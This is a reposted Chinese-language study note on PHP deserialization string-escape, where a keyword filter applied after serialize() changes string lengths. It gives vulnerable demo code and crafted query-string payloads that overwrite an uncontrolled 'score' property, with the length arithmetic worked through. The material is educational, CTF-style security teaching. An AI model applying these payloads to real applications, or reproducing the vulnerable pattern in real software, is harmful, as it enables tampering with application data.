最近經常碰到反序列化改變長度的逃逸問題,寫篇筆記記一下,
在反序列化前,若對序列化的字串進行一些替換關鍵字操作,如果改變了長度,則會導致一些安全問題,
在討論這個前得先理解php反序列化時的截斷問題,舉例:
<?php
$a = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}';
$b = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:5:"qwert";};i:2;s:4:"defg";}';
var_dump(unserialize($a));
echo "<br>";
var_dump(unserialize($b));
?>
結果:

可以看到$b中因為前部分a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:5:"qwert";}已經滿足反序列化需求,所以后部分被丟棄,
了解這個之后,就可以繼續我們的討論,
替換后長度變長,
<?php
function safe($str){
return preg_replace('/k/', 'no', $str);
}
class User
{
public $name;
public $score;
}
$o = new User();
$name = $_GET['name'];
$o->name = $name;
$o->score = '100';
$str1 = serialize($o);
echo $str1.'<br>';
var_dump(unserialize($str1));
echo '<br>';
$str2 = safe($str1);
echo $str2.'<br>';
var_dump(unserialize($str2));
echo '<br>';
上面的原始碼中score不可控,利用逃逸我們可以控制他的值,
上面的safe函式將get獲取的name引數中關鍵字k替換成no,則每傳入一個k長度加長1,
用get獲取name引數
?name=fmyyykkkkkkkkkkkkkkkkkkkkkkkkk";s:5:"score";s:3:"888";}
結果:

可以看到,替換前score的值是100,替換后就變成了了888,
解釋:
?name=fmyyykkkkkkkkkkkkkkkkkkkkkkkkk";s:5:"score";s:3:"888";}
在這個字串中,后部分";s:5:"score";s:3:"888";}長度為25,所以前面構造25個k,這樣替換后變成25個no,長度增加了25,將這部分擠出,
序列化字串變成了:
O:4:"User":2:{s:4:"name";s:55:"fmyyynonononononononononononononononononononononononono";s:5:"score";s:3:"888";}";s:5:"score";s:3:"100";}
結合上面說過的截斷問題,原來的score值被擠出,所以只要構造正確,本來不可控的score就會被我們控制,
替換后變長度減少,
差不多的原理
<?php
function safe($str){
return preg_replace('/k/', '', $str);
}
class User
{
public $name;
public $age;
public $score;
}
$o = new User();
$name = $_GET['name'];
$o->name = $name;
$age = $_GET['age'];
$o->age = $age;
$o->score = '100';
$str1 = serialize($o);
echo $str1.'<br>';
var_dump(unserialize($str1));
echo '<br>';
$str2 = safe($str1);
echo $str2.'<br>';
var_dump(unserialize($str2));
echo '<br>';
上面的原始碼中,User類中有name,age,score三個屬性,name和age是我們可控的,score不可控,我們要利用逃逸控制score的值,
傳入引數
?name=kkkkkkkkkkkkkkkkkkkkkkk&age=12345";s:5:"score";s:3:"888";s:2:"ab";s:2:"sb";}

可以看到,score的值改變了,
解釋:
原序列化字串:
O:4:"User":3:{s:4:"name";s:23:"kkkkkkkkkkkkkkkkkkkkkkk";s:3:"age";s:48:"12345";s:5:"score";s:3:"888";s:2:"ab";s:2:"sb";}";s:5:"score";s:3:"100";}
把k變成空后
O:4:"User":3:{s:4:"name";s:23:"(";s:3:"age";s:48:"12345)";s:5:"score";s:3:"888";s:2:"ab";s:2:"sb";}";s:5:"score";s:3:"100";}
因為k被置換為空 但 s:23還在,會包含后面的23個字符,也就是括號里面的字串(括號不算,為了方便理解加上去的)
但User類有三個屬性,所以得在加一個任意屬性才能滿足反序列化,例如這里加的s:2:"ab";s:2:"sb",即屬性ab值為sb,
總結
具體題目具體分析,如果題目中的鍵名可控的話,構造會被替換的鍵名也能進行逃逸,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/278020.html
標籤:其他
上一篇:前端md5加密
